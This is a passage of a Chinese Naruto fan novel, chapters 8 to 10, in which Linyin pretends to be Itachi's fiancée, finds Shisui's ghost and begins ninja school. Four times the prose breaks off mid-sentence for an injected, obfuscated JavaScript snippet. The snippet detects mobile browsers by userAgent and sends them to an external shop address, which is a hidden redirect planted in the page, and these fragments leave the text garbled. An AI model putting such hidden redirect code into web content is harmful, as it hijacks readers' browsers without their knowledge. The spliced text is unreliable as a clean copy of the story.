l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427011|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影大楼附近蹲守看看。 “要是还找不到的话,就只能在电线杆上贴寻人启事了。” “可是我不知道卡卡西长相……”琳提出异议。 铃音难以理解,“你们不是队友吗?怎么会不知道他长相!” “他平时下半张脸都带着面罩,我没见他取下来过……要是他这些年换了造型,我也认不出来。” 面罩啊? 铃音脑海中浮现出一个不靠谱的身影,又连忙摇摇头。 琳口中高冷正经的精英队友怎么可能是那个好色大人呢! 不可能不可能。 *** 铃音再次到家时,佐助已经放学,正在院子里练习投掷飞镖。 铃音带着一堆便宜小零食去找他。 “歇一下再练吧!小佐助有想吃的零食吗,我一下买了好多~” 佐助抹了一把汗,站在原地没动。 “不要,我还有20次练习没完成。” “还有……不准叫我‘小佐助’!” 说完,佐助将注意力转移到了飞镖投掷练习上。 他正在进行的是十米距离的练习。 后面这二十枚飞镖,一枚脱靶,八枚射中靶心,另外十一枚虽然没射中靶心,但离中央的位置也很近了。 啪啪啪啪——铃音在旁边忍不住鼓掌,称赞道,“你好厉害!” 佐助嘴角翘起,但很快又压了下去,“尼酱在我这个年纪的时候,已经能够同时发出多枚飞镖射中靶心了,我还差得远呢。” “不不不……你已经比很多人都厉害了!我七岁的时候投飞镖可没你这么准。” 实际上铃音投飞镖水平到如今都很一般……刚开始还会意思一下用用飞镖,打到后面都是靠近战肉搏结束战斗。 归根结底,飞镖练起来费劲,杀伤力却有限,要是敌人衣服里面穿了忍具店那种渔网状的锁子甲,甚至造成不了伤害。实在不如长刀或拳头来得干脆直接。 “你投飞镖的水平居然比我还差!” 佐助嫌弃地看向铃音,“你这样根本配不上哥哥!” “哈?” 铃音用手臂勒住佐助脖子生气道,“你小子是不是有点儿太不识好歹了!我是为了安慰你才这样说的好不好!” “再说我七岁投飞镖水平差,现在的我还是要比你厉害的!” 佐助挣脱开铃音的束缚,“比我厉害有什么了不起的……” “哥哥才不会喜欢你这么粗暴的女孩子!” “哈!你哥哥超级喜欢我的好吧!” 铃音决不允许自己在这场争吵中败北,“是你哥哥亲自把我接回木叶的,见我的第一面还紧张到用出写轮眼,赶路时我饿了他还特意给我做烤鸡吃,十分关心我的身体,一来木叶就带着我去医院检查身体……” “我不信!” “你骗人!” 铃音没有说谎,只是进行了一些适当的艺术加工而已。 铃音双手叉腰,“等以后我嫁给你哥哥,我才是和他最亲近的人!” “我不同意!” “这种事情你不同意也没用啊!” 佐助说不过铃音,呜咽着跑走了。 “哇,你把人家弄哭了!” 琳站在铃音肩膀上冷静地陈述事实。 铃音摸摸鼻子,“我也没想到他这么容易破防啊?” 她这会儿也深刻认识到自己的错误了,想跟佐助道歉。 顺便把这两天的误会全解释清楚。 只是,还没等她找到佐助,鼬先回了家。 佐助不知道从哪里窜出来扑进鼬的怀里,“尼酱!” “你怎么才回来~” “嗯,我回来了。” 鼬眼中流露出难得的温柔,把佐助从怀里捞起。 在看到佐助泛红的眼眶时,鼬的眼神陡然凌厉起来,“佐助,谁欺负你了?” 吾命危矣! 铃音心道不妙,立即转身快步往外跑。 谁来救救她啊! 她真不是故意的! 8. 追寻踪迹 面对做贼心虚的铃音,鼬的身体下意识动了起来。 铃音当然不会束手就擒,用尽浑身解数抵挡鼬的进攻。 之前两人遇上山贼土匪时,鼬都没有动真格,以至于铃音还以为自己和鼬差距不大。这会儿一对战,她才知道自己错得离谱。 专业忍者的武力值甩出她这种普通猎人好几条街。 她根本没有还手之力,直接被秒杀并摁在地上。 “所以你究竟做了些什么?” “也没有什么,”铃音目光回避,撇开头,“就是撒了个小谎而已。” “说我是你未婚妻什么的……没想到佐助他当真了哈哈哈……” 铃音试图用笑容缓解气氛,糊弄过去。 佐助就站在廊下,听见这话肩膀都放松了,“你果然在骗我!” 鼬手上压制她的力量却丝毫没松,“如果只是说了这些,佐助应该不会哭。” “你还要继续隐瞒吗?” 鼬曾经看过一本介绍审讯方法的书,上面记载了许多不会伤及性命的拷问方法——现在或许就是实践的机会。 他手上用劲,铃音立刻便叫了出来,“痛痛痛——要死了!” 剧烈的痛感传来,铃音都怀疑鼬用了拷问器具,“我招!我招!我什么都招!” 她再也不敢心存侥幸,将自己怎么冒充鼬“未婚妻”,怎么捏造事实秀恩爱,怎么拉踩佐助说要成为鼬最亲近的人全都一股脑说了。 “我真的知道错了!”下次还敢。 鼬:我就是一天一夜没回家而已,你造的谣已经完整到这种地步了?! 话说这家伙为什么要平白无故撒这种谎? 完全没有意义。 而且很容易就会被拆穿。 “因为有趣?” 铃音被鼬看得心虚。 “好吧,我承认,开这样的玩笑很幼稚……但是退一万步说,难道鼬你就一点儿错都没有吗?” 没想到自己会被指责,鼬一时忘记了回答。 “如果不是鼬你总是忙着执行任务,没时间陪佐助,他也不会因为缺乏安全感被我几句话煽动!” “我只不过是帮他把内心压抑的情绪发泄出来而已。” 鼬被触动,若有所思地放开铃音。 确实,暗部的工作一个接一个,村子和族中的关系越发紧张,他实在没有时间和精力陪佐助。 昨晚还发生了那种事……今后他估计会更难抽出时间。 鼬揉揉佐助的头发,不知如何是好。 琳刚才担心被无辜牵连,第一时间跳下铃音肩膀躲到了屋檐下。 此时她对着铃音竖大拇指,“你的嘴遁术,真厉害!” 铃音狰狞着一张脸吸气揉肩,明明鼬已经放开她了,痛感却还在持续。 鼬那家伙下手未免也太重了些! 晚饭时,佐助亲昵地拉着鼬远离铃音,坐在自己身边。 整顿饭都在炫耀鼬给他剥的虾、夹的菜,一副小人得志的嘴脸。 也很可爱就是了。 睡觉的时候也舍不得和鼬分开,拉着被窝就往鼬房间跑。 “尼酱,今晚我要和你一起睡!” “好!” 铃音觉得佐助这么粘他,全是鼬那家伙自己惯出来的。 铃音懒得理他们兄弟俩,回到房间进行冥想锻炼。 她可不能懈怠,这个世界还等她拯救呢! 闭上眼睛后,感知会变得更加敏锐。 外界的味道、气流、声音,内部血液流动、肌肉收缩……平时容易忽略的部分全都展现在面前。 她隐隐约约感觉到丹田位置有一抹淡蓝色的火苗像被注入了能量,愈燃愈旺。 没一会儿铃音就觉得有些疲倦,准备关窗户休息时,发现了躺在屋顶看月亮的鼬。 这家伙什么时候跑上来的,她刚才完全没发现。 “鼬,你心情不好吗?发生什么事儿了?” 鼬意外铃音竟会这么敏锐,“你为什么会这样觉得?” “要是心情好的话,谁家哥哥会丢下可爱的弟弟上屋顶看月亮啊?” “而且昨天你有急事提前离开,晚上的集会也没参加……” 铃音摆出一副知心大姐姐模样,“来,有什么烦恼都可以向我倾诉,我会当一个合格的倾听者的。” 鼬盯着她看了半晌,最后只是叹了口气,“不用了。” “这件事和你没关系。” 铃音原本还想和他分享自己从石碑上看到的内容来着,被鼬这句“和你没关系”气到。 什么嘛,她以为他们算是朋友了! 就算这件事和她没有关系,见到朋友烦恼也希望能帮上忙啊。 *** 来到木叶的第三天,铃音要去忍者学校报到。 佐助也要去上学,走之前还特意叮嘱,“你离我远一点……在学校也不要和我说话。” “嗨嗨~”真是个记仇的小鬼。 到了学校,铃音先去办公室找班主任。 班主任把教材什么的一股脑塞给她,“虽然你已经十岁,但毕竟没有任何练习忍术的基础,忍界的基本常识也不清楚,所以先在这个班上适应一下。” 接着,铃音便被带到一年一班教室。 班上都是今年才入学的应届小孩,普遍六七岁,她出现在这里格外突兀。 她唯一认识的佐助狠狠瞪她,一副“我不认识你”的高冷表情。 “大家好,我叫铃音,今后一段时间会和大家一起学习。” 同学们用好奇的小眼睛打量她,奇怪她为什么这么大了还和他们一个班。 最后一排的黄头发小孩直接站起来就问,“嗨嗨,你是因为成绩太差所以被留级了吗?” 班上同学顿时闹腾起来,“鸣人,你以为谁都和你一样吊车尾吗?” “你这家伙难道是上次考太差被老师警告了?” “你肩膀上的玩偶好可爱~可以摸摸吗?” 班主任老师快速拍了几下手,示意大家安静,“铃音同学不是留级,她是最近才从别的地方搬到木叶,她之前没有接触过忍术所以需要从头学起。” “今后她就是我们班上的一员了,大家要好好相处哟!” “嗨~”×n 环视班级一圈,班主任老师点了一个人,“佐助,你和铃音比较熟,这段时间带她熟悉熟悉学校~” “真好,我也想让佐助君带我熟悉学校!” 粉红头发的小女孩偏头询问黑发小少年,“佐助君和铃音姐姐认识?” “不认识!”佐助板着脸,“只是族人而已。” “Soga!” 警报解除! 粉发少女脸上绽放出大大的笑脸,“铃音姐姐你好,我是春野樱,你也可以叫我小樱!” “希望我们今后能成为好朋友!”希望铃音姐姐能为她和佐助的感情助力! 小樱接着便主动揽活,“还是我来带铃音姐姐熟悉学校吧~我们女孩子肯定更有共同语言~” 真不愧是她!这样一来就能隔开铃音和佐助! 要是能从铃音姐姐嘴里打听到一些关于佐助的情报就更好了! “随便你!”佐助无所谓道。 铃音有点儿被小女孩的热情吓到,“嗯,好。” “我们一个班,你叫我铃音就好,叫铃音姐姐很生分。” 小樱面上带笑,内心却在想,“不可能的!必须加上“姐姐”时刻强调他们之间的年龄差!” 不要以为读一个年级就能装嫩!她和佐助才是同龄人! 铃音对春野樱这些小心思浑然不觉,只知道这位叫春野樱的小同学十分热心,带她逛完了整个学校不说,还愿意把之前的学习笔记借给她。 “虽然我成绩没有佐助好,但在教人方面还算擅长,你要是有什么不懂的都可以来问我!” 不准打着请教的名头去接近佐助! “那就太感谢了!” 铃音看着一大摞学习笔记——小樱同学未免也太认真负责了些。 忍者学校的科目众多,除了算数、识字等一些基础课,还有忍界常识、基础忍术技巧、基础体术技巧和综合实战演练等专业科目。 铃音一边上课,一边还得补上个学期已经学过的部分知识,一时间有些头大。 “查克拉是一种藏在忍者身体里的特殊能量。身体当中的体力,经过转换能形成查克拉。成功转换出查克拉是施展一切忍术的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427012|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基础。” 木叶的忍者小孩出生没多久就能自行掌握将体力转化成查克拉的方法,就跟人呼吸一样属于本能,根本用不着思考。 但对铃音来说,查克拉完全就是个未知概念,根本不知道这东西在哪儿,应该如何调动。 用心去感受体内的查克拉——铃音尝试了好一会儿都没有任何进展。 “说到底查克拉到底是什么?” 铃音闲得开始打量同学。 得益于与众不同的双眼,意识一动,她的眼睛像开了透视一样,照出大家体内的能量运转。 同学们丹田处都有一团蓝色能量,和昨晚她在自己体内见到的蓝色火苗有点儿类似。 蓝色能量团像火焰一样燃烧跳动着,所有人当中,数佐助的那团蓝色能量最大最浓郁。 这应该就是书上所说的查克拉。 而她的同桌,黄发小男孩体内除了蓝色的查克拉能量团,还有一团黄色的能量团。 黄色能量团周围冒出九条尾巴一样的粗线条,像活物一样摇摆翻动着,看上去十分诡异。 当铃音还想仔细再看的时候,黄色能量团上浮现一双冰冷的竖瞳,射出的目光带着强大威慑,扎得她眼睛一阵刺痛,一时无法使用能力。 观察大家这么久,铃音也有了方向,努力一个下午,将体内火苗大小的查克拉扩大成了火把大小。 又是凝聚查克拉,又是学习忍界基础常识,铃音脑袋有些信息过载,放学回家后吹吹风才觉得逐渐清醒过来。 回家的时候,她和佐助撞见三名宇智波族人从家门口往外走。 三名族人低声讨论,“鼬果然很可疑,那天的集会只有他和止水没有出席……他肯定知道些什么!” “回答‘无可奉告’是什么意思?如果和这件事没有关系,为什么不肯坦白那天晚上都做了些什么?” “一定是心里有鬼!” “止水对他毫无防备,除了他,我想不出谁能让止水消失得这么无声无息。” 佐助听不得哥哥被污蔑,当即站出来反驳,“胡说八道,我哥哥不是你们说的那种人!” 宇智波铁火一把推开挡路的佐助,“你一个小孩懂什么!” “你们才不懂!”铃音把佐助扶起来,“鼬根本没有杀害止水的理由!他们是好朋友!” “鼬嫉妒止水的天赋——” “这也只是你们的猜测吧,没有证据的怀疑等同于诬陷!”铃音反驳道。 “你一个刚来村子的外人又知道些什么!” “止水天赋又不是第一天这么厉害的……” 铃音还想说些什么怼回去,却被鼬拦住,“这事儿你不用管,带佐助先回去吧。” 回到家里铃音还在生气,想不明白鼬为什么不解释清楚。 如果止水真的出事,尽早洗清自己身上的嫌疑,不是更有利于追查真凶吗? 铃音在房间里思来想去,决定用自己的方式帮鼬洗脱嫌疑。 只要找到止水的鬼魂,问出真凶是谁就好了! 根据这些天她的观察,除非有未完成的执念,一般人死后三五天灵魂就会前往冥界。 像琳这种长时间滞留人间的灵魂反而是少数。 所以,越快找到止水的灵魂越好。 铃音对止水知之甚少,也不知道他的遇害地点,只能用笨办法,从族地开始地毯式搜索。 “只是这样,帮你找卡卡西就只能延后了。” 铃音跟琳道歉。 琳摇摇头表示不在意,主动脱离了玩偶身体,飘在半空中帮忙。 也是这次重新恢复魂体,她发现自己能够活动的范围更广了——之前是铃音周围两米范围,现在则到达了三米左右。 也许不久后活动范围还能更广。 今天和往常唯一的不同,也就是在学校练习了凝聚查克拉——难道随着铃音查克拉增加,果实能力也会同步增强? 琳把自己这一发现告知了铃音,于是铃音连上课时都在持续凝聚查克拉,不放过一分一秒。 琳的猜想得到印证,两天过去,她的活动半径扩大到了五米。 这两天里,铃音白天上学,放学后就和琳搜寻止水灵魂踪迹——最终在南贺川河畔找到了他。 9. 亡灵2号 没错了,和照片上的宇智波止水一模一样。 长得是挺帅,可惜死了。 “终于找到你了,宇智波止水!” 宇智波止水的灵魂转身,疑惑地看着铃音和琳。 他跳崖后,意识重新苏醒就出现在了这里,无法离开。 成为亡灵后,他虽然还有意识,却什么都做不到,只能旁观事件发展。 昨天鼬站在崖边发呆,他离开后几名宇智波来这里探查,接着又来了一波暗部成员,最后还出现一名根部成员——一波又一波人经过这里,没人注意到他。 所以这会儿,即便陌生少女喊了他的名字,止水也没有任何回应。 反正他已经死了,回答也没有意义。 铃音上前拉住他的手臂,嘴里嘀咕,“止水怎么不回话?难道他灵魂快消散,已经傻了?” 止水被手臂上传来的温热惊到,难以置信道,“你能看见我?!” “那当然了——我的这双眼睛可是能看透阴阳的破障之眼!” 止水灵魂停留的地方是在崖边,旁边就是南贺川,周围十分空旷。 但空旷不代表不会被人发现。 在外人看来,铃音此时就是在一个人自言自语。 未免再次被误会是妄想症发作,铃音拉住止水的灵魂就往回走。 “这里是鼬家?” 止水有些疑惑,据他所知,鼬的亲戚里可没什么妹妹……所以这个女孩和鼬到底是什么关系? 不过无论他们是什么关系,他对女孩的防备已经下降了一半。 “我叫铃音,暂时住在鼬的家里,这里是我的房间……” “这位是琳,和你一样是亡灵。” 止水转头,刚才一直飘在半空中的女孩同自己点头致意。 “我之前吃下过一颗恶魔果实,之后就觉醒了能够看见和接触亡灵的特殊能力。” 所以之前才会被她抓住吗?止水的疑惑有了答案。 “那你带我来是想干什么?” “找出杀你的真凶太麻烦了,我想直接问你,知道真凶是谁就能帮鼬洗脱怀疑……你还不知道吧,你遇害之后,族人们都觉得是鼬杀了你。” 止水听后面色如常,“原来是这样……可是我帮不了你,不如说现在的状况正是我想要的结果。” “你是故意想让人误会鼬的?!”铃音有些难以置信,“你们不是朋友吗?” “你也太过分了!” 止水看着这个为鼬鸣不平的少女,思绪万千。 他的万花筒写轮眼——别天神,拥有能改变人意志的特殊能力。 面对村子和家族越发紧张的关系,他向三代目火影提出,一旦宇智波一族的叛乱无法阻止,便会使用别天神改变族人意志,让他们归顺村子。 但他没想到自己会被团藏偷袭,丢掉一只眼睛。 如果族人得知这件事,家族与村子的矛盾肯定会进一步激化,无法调和。 一旦宇智波叛变,木叶必定陷入混乱,周围几国忍者虎视眈眈,战火肯定会再次蔓延,好不容易得来的和平就此毁于一旦。 他不想看着事态如此发展,所以才将眼睛交给佐助后跳崖自杀,隐藏真相。 他死后,鼬便只能孤军奋战。 而面前这个叫铃音的女孩,愿意为了帮鼬洗脱嫌疑四处寻找他的灵魂,甚至因为鼬被误会谴责他——或许可以尝试相信。 于是他道,“如果你答应不把我的死因告诉族人,我就告诉你这件事的前因后果。” “可是……”铃音不想答应止水的条件。 “只要结果是好的,真相也没有那么重要……不是吗?” 来选择吧,是继续被当做一无所知的外人,还是变成隐藏真相的共犯? 思索片刻,铃音做出妥协,“行,我答应你。” 先答应再说。 至于最后到底告不告诉族人,她自有决断。 反正止水一个鬼魂又拦不住她。 铃音自觉机智,但随着止水将一切和盘托出,意识到族人和村子的关系恶化到何种地步,铃音便有了顾虑,确实不好告知族人止水的遭遇和真正死因。 “你就不觉得后悔吗?” 铃音这两天寻找止水灵魂踪迹时,也探听到了不少他的相关情报。 这人也是个不折不扣的天才忍者,瞳术天赋甚至比鼬更出色,早早便觉醒了万花筒写轮眼。 此外,他的幻影瞬身术也十分精湛,在忍界甚至有“瞬身止水”的外号。 这样一个天才忍者,却死得这样不明不白。 “没有人知道你为守护村子的和平甚至牺牲了自己的生命……” 反正铃音就为他不值。 止水用看小孩子一样的眼神看向铃音,脸上都是释然的笑容,“那些都不重要——” 从当上忍者的那天开始,他就已经做好慷慨赴死的准备了。 铃音比他小心眼多了,“那个叫团藏的老头偷袭了你,还抢走了你的眼睛——你就不想报仇?” 听止水描述,对方甚至还用隐藏起来的写轮眼发动了宇智波的禁术伊邪那岐。 铃音给对方判了罪,“那个糟老头肯定坏得很!除了你,他肯定还偷袭过别的宇智波,不然怎么能用伊邪那岐……背地里不知道还干过多少坏事……” 琳活着的时候就是个底层小忍者,今天还是第一次接触到这种复杂的家族派系斗争……印象不错的村子高层背地里居然做了这些事,难免让她有些幻灭。 止水脸上的表情淡了几分,“团藏的手段确实强硬,但他领导根部确实为木叶稳定铲除了不少障碍……” “功劳归功劳,罪责归罪责,一码归一码,两者又不能相互抵消!” 杀人犯做了一件善事,不能就此认定他是个好人吧! 反正铃音绝不原谅伤害了止水、还害得鼬被族人猜忌怀疑的团藏老头。 “虽然现在我没能力为你报仇,但迟早有一天我会让他付出代价的!”铃音承诺道。 她就是看不惯坏人逍遥法外。 为了村子的和平稳定就粉饰太平原谅仇恨什么的……她才不要! 铃音顿时有了提升武力值的紧迫感,恨不得立马再出去跑个十来圈。 止水无奈,“你没有必要为我做这些。” “你是觉得我不行吗?!” “不——我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427013|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不希望你被仇恨蒙蔽双眼。”止水希望铃音能把能力用在正途上,比如守护村子什么的。 “你没必要承担为我伸张正义的责任。” 铃音摆摆手,“不,我有。” “因为我是被选中的命运之子!” 止水:? 什么命运之子?中二病? 止水感觉有些跟不上铃音的节奏。 琳在旁边扶额,铃音这家伙前几天看过宇智波石碑后,就一直说自己是什么命运之子,一副“天将降大任于斯人也”的模样,现在又犯病了。 “嗨嗨,命运之子还是先从忍校毕业,再来思考找团藏复仇的问题怎么样?” 铃音被琳的说话声提醒,突然想起可以从止水这儿打听卡卡西的情报。 止水虚靠在窗边,“卡卡西啊,认识,我们见过几面——” “他还挺有名的。有只眼睛是写轮眼,偶尔还会来我们族地这边闲逛。” “真的!”铃音有些惊喜,本来她都准备去火影大楼附近蹲守了,没想到峰回路转有了新的线索,“那去哪儿能找到他?” “你找他有什么事?”止水纳闷道。 “不是我,是琳有事找他,他们曾经是队友——琳滞留人间的执念就是想和他说声抱歉。” 止水将目光转向琳,判断这话的真实性。 一般来说,同个小队的队友年龄差不会太大,如今卡卡西二十岁,眼前的琳才十二三岁的样子,也就是说,对方大概率是在第三次忍界大战中去世的。 止水叹气,“卡卡西在暗部供职,现在已经是队长级别,想见他不容易。” “不过我听说他住在单身忍者公寓,或许可以去那儿碰碰运气。” 一人两鬼说话一直到半夜,第二天铃音理所当然地睡过头了。 她匆忙抓起美琴阿姨准备的早餐和便当盒就跑,后面止水和琳的灵魂被果实力量牵引,像风筝一样被拽去了学校。 “之前就是这样?”飘在半空中的止水有些无奈。 “嘛——差不多吧,”琳都已经习惯了,“总比只能留在南贺川河边好吧。” 铃音最后还是迟到了,和恶作剧被抓的小黄毛同桌一起被罚站了一节课。 第二节课讲各种忍术的结印手势,要求全班必须准确背诵,考试时在规定时间内复刻出来。 能不能成功施展忍术暂时还不在考核范围。 “有能力的同学可以尝试施展——咱们班佐助的哥哥,当初第一次练习结印就直接成功施展了忍术,大家可以多向他看齐~” 同学们纷纷看向佐助,羡慕之情溢于言表,“佐助,你哥哥真厉害!” “要是有这样一个哥哥手把手教导我,我也能成全班第一吧!” “真羡慕啊!” 铃音就没时间羡慕佐助,她所有注意力都在这些结印手势上。 老师介绍的时候,她就在下面跟着做,等老师讲完,她已经在背诵每个忍术不同的结印手势顺序了。 一想到立马就能掌握厉害酷炫的忍术,铃音就觉得心潮澎湃。 她仿佛听到命运齿轮开始转动的声音,哇卡哇卡——她波澜壮阔的忍者生涯就此启航! 10. 好好学习 “我果然是这个世界的主角吧!” 铃音会这样想也无可厚非。 毕竟,她成功集齐了小说主角身上的所有元素。 身世复杂——母亲是隐姓埋名的大家族忍者,父亲是资产丰厚的邪恶海贼,两人至今下落不明。 与众不同——吃下了一颗恶魔果实,觉醒了能看见亡灵的特殊能力。 际遇不凡——刚来木叶,就被卷入木叶村与家族的复杂斗争中,还意外发现了背后的黑暗与阴谋。 预言启示——她是宇智波一族的石碑认定的救世主,肩负着振兴家族、拯救世界、维护和平的伟大使命。 金鳞岂是池中物,一遇风云便化龙。[注1] 她宇智波铃音注定此生不凡! 所以,她只花了一个下午就记住了同学们都觉得复杂容易搞混的众多结印手势,根本就是件不值得被称赞的小事。 过目不忘和天赋卓绝,这只是身为主角的基操罢了。 铃音摸摸鼻子,朝漂浮在半空中的止水露出一个得意的表情,张嘴做口型,“怎么样,我厉害吧!” “厉害厉害!”止水毫不吝啬地比出大拇指。 不过他很快就被围上来的同学淹没。 “真的假的!铃音你居然全都记住了!” “真厉害!我花了一个学期都还是容易弄混!” “是不是有什么技巧啊!呐,铃音你也教教我们吧!” 魂体被穿过的感觉有点奇怪,止水退到了人群外围。 如果说之前同学们对铃音的关注只是对转学生的好奇,如今则全变成了对铃音这个人的探究与敬佩。 面对同学们清澈的,满含希冀的双眼,铃音实在给不出任何可靠建议——毕竟她就是一下就记住了,没什么技巧。 “啊——应该就是得每天多记多练吧,要关上课本默默回忆结印手势,直到实在想不起来了再翻开确认……” “也不用全部都死记硬背,有的忍术原理相同,结印手势也有规律可循……” 这样的技巧老师在上课的时候已经讲过很多回了,大家都听腻了,明明他们平时也是这样做的,效果却就是比不上铃音。 “呐,铃音你该不会是把真正的诀窍藏着掖着吧?” “你也是,佐助也是,都是一下就会了……你们宇智波内部难道有什么内部秘籍?” 奇怪,铃音本来是不希望大家感到自卑才说的诀窍,为什么大家会这样想。 铃音把求助的目光投向止水,止水也是一副爱莫能助的样子。 “没办法,外界对我们总有着这样那样的刻板印象——” 话题开始走偏,后面不知道是谁说了一句,“就算真有诀窍,他们怎么会真的告诉我们?” “切……光是记住手势有什么了不起的,之后能不能施展出来还不一定呢……” 止水叹了口气,想要改变宇智波的处境,任重道远啊。 玩偶琳这时也不好反驳。 傀儡身份就是有这点不好,她说的话会被认为是铃音的心声。 要是说了什么让大家对铃音的误解更深,她也会很过意不去。 因为这些话,班里的氛围变得奇怪,一放学,大家就都收拾起书包散开了,留下铃音和佐助等零星几个动作慢的学生。 佐助的脸鼓鼓的。 平时他也总这样对铃音,但他今天收拾书本的动作明显更重。 “那些家伙总是这样擅自揣测……明明是他们自己不好好学!” “不用在意就好了。” 铃音伸手揉了一把佐助脑袋,“佐助你莫非是在安慰我?” “才没有啊——别乱摸我的头,你这个粗暴女!” “好好!”铃音听劝地收回自己的手,“对啦,我今天晚上有事,回家应该会很晚,你跟美琴阿姨说一下不用准备我的那份晚饭~” “知道啦!”佐助留给铃音一个高冷的背影。 他对铃音的去向一点儿也不好奇,巴不得铃音放学后一直不回家。 虽然之前的“未婚妻”事件是个谎言,但难保铃音在相处的过程中不会喜欢上哥哥,非要当他嫂子——两人相处的机会越少越好。 忍者学校放学时间很早,才下午四点,就算这个时候去找卡卡西对方也可能还在外面工作,铃音便跑去图书室打发时间。 图书室里没有多少人,一边书架摆放着整齐的各种书籍,另一边的书架则放着形态各异的各式忍术卷轴。 目前学校分发的教材还是二代火影时期定下来的,以结果为导向,只讲了施展忍术的方法和诀窍,没有提及背后的原理与规律。 铃音也能理解,毕竟这样更加直观高效,更方便快速培养出大量下忍作为战力。 忍术原理之类的,是活着还有余裕的话,才需要去考虑的东西。 图书室前台坐着位银白色头发的年轻实习老师,面容看起来挺俊秀,值班表上写着他的名字,水木。 铃音原本也不知道自己应该看些什么书,好在有止水帮忙。 “这本、这本、这本,都是介绍忍术分类的书,今天先看这几本就行。”止水依据她现在的水平给推荐了合适的书。 铃音感觉自己有了个一对一的随身高级辅导。 别的主角有随身老爷爷,她有随身大哥哥。 她是主角的证明又加一。 之前铃音觉得不能厚此薄彼,拿出玩偶想让止水和琳一样拥有实体,被止水拒绝了。 止水觉得他这样的魂体状态刚刚好,行动自由的同时和铃音说话还不会被别人听见,省去了许多解释的功夫。 “可是这样会让我被认为是个爱自言自语的怪人啊~” “你和琳当着大家说话,也有可能被认为是人格分裂,一人分饰两角。” 铃音觉得自己简直进退维谷,无论怎么做,都会被人觉得奇怪。 干脆不说话好了。 铃音闭嘴专注到书籍当中,这才知道忍术原来有这么多种类型。 忍术按照难易程度,从易到难分为E-D-C-B-A-S六个等级,学校教材上的忍术大多为D级及以下。 忍校毕业考试(同时也是下忍资格考试)上,考官会随机抽取E级忍术,参考的学生成功施展该忍术,便能通过考核。 “这样真的好吗?” 考试只要求能计算10以内的加减法,执行任务时却得会使用微积分才不会丧命…… 倒不如把毕业的难度提升一些,下忍的折损率也不会那么高。 “嘛,村子也有另外的考虑……”止水靠在书架上回答。 铃音则翻开下一本书,书中按照用途,将忍术划分成战斗、探查、医疗、封印、通灵等,每个篇章都举了几个典型的例子,因为内容浅显,她很快就读完了。 第三本书则是按照查克拉性质,将忍术分为了三类,无属性忍术、属性忍术和血继限界忍术。 无属性忍术,顾名思义,就是无论施展忍术的人查克拉是何种属性,只要体内有查克拉便能通过学习掌握的忍术类型。 简单的如变身术、分身术,复杂一些的则有幻术、封印术等。 属性忍术,则要求施展忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427014|200882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术的人体内查克拉必须具备(火、风、雷、土、水、阴、阳)某种特定属性才能施展,这一类的忍术在名字上都会有所体现,如火遁术、土遁术、水遁术等。 通常每人天生具备1–2种基础属性,少数人通过后天训练或特殊经历也能增加其他的查克拉属性。 而血继限界忍术,则通常只能由血缘关系借由基因传承,无法被复制或习得,例如宇智波的写轮眼,日向一族的白眼等。 书中还提及,融合两种属性查克拉研发出来的新属性忍术,如果成功地稳定地遗传给了后代血脉使用,也能被称为是血继限界忍术。 铃音合上书,望向双手,“所以,要怎么知道自己的查卡拉是什么属性啊?” 这个问题止水和琳都能解答,毕竟他们当初也都经历过了这一阶段。 一道陌生的声音打断了一人两鬼的对话。 “没想到你已经思考得这么深了——我还是成为下忍之后,才在担当上忍的提醒下关注到这点。” 铃音循着声音转头,年轻的实习老师已经走到她身边。 “水木老师?” “抱歉,很少遇见这么好学的孩子,你一进图书室我就很在意……刚才听见你在自言自语,就忍不住和你搭话了。” 水木老师从包里掏出几张纸片,“大家都是用这种查克拉纸来测试查克拉属性的。” “把查克拉注入纸中,纸片会发生变化,变皱、裂开、燃烧、粉碎、变湿分别对应雷属性、风属性、火属性、土属性和水属性。” 铃音接过纸片摩挲了一下,往里面输入了查克拉——纸片颜色变深,出现被洇湿的痕迹。 “看来我是水属性的查克拉。” 飘荡在旁边的止水则适时补充,“宇智波一族通常都具备火属性的查克拉,你的查克拉大概率是水火两系。” “也就是说,如果体内有两种或以上属性的查克拉,用这个纸片是没办法全测出来的?” 水木没想到铃音会有此一问,愣了一下,倒是不难回答,“是,这个方法只能测出最突出的查克拉属性。” 铃音忍不住想,要是有一个能测出体内所有查克拉属性的仪器就好了。 仪器上面五个不同颜色的灯,分别代表五种属性,手掌一放上去,体内查克拉包含的所有属性都能一下测出来。 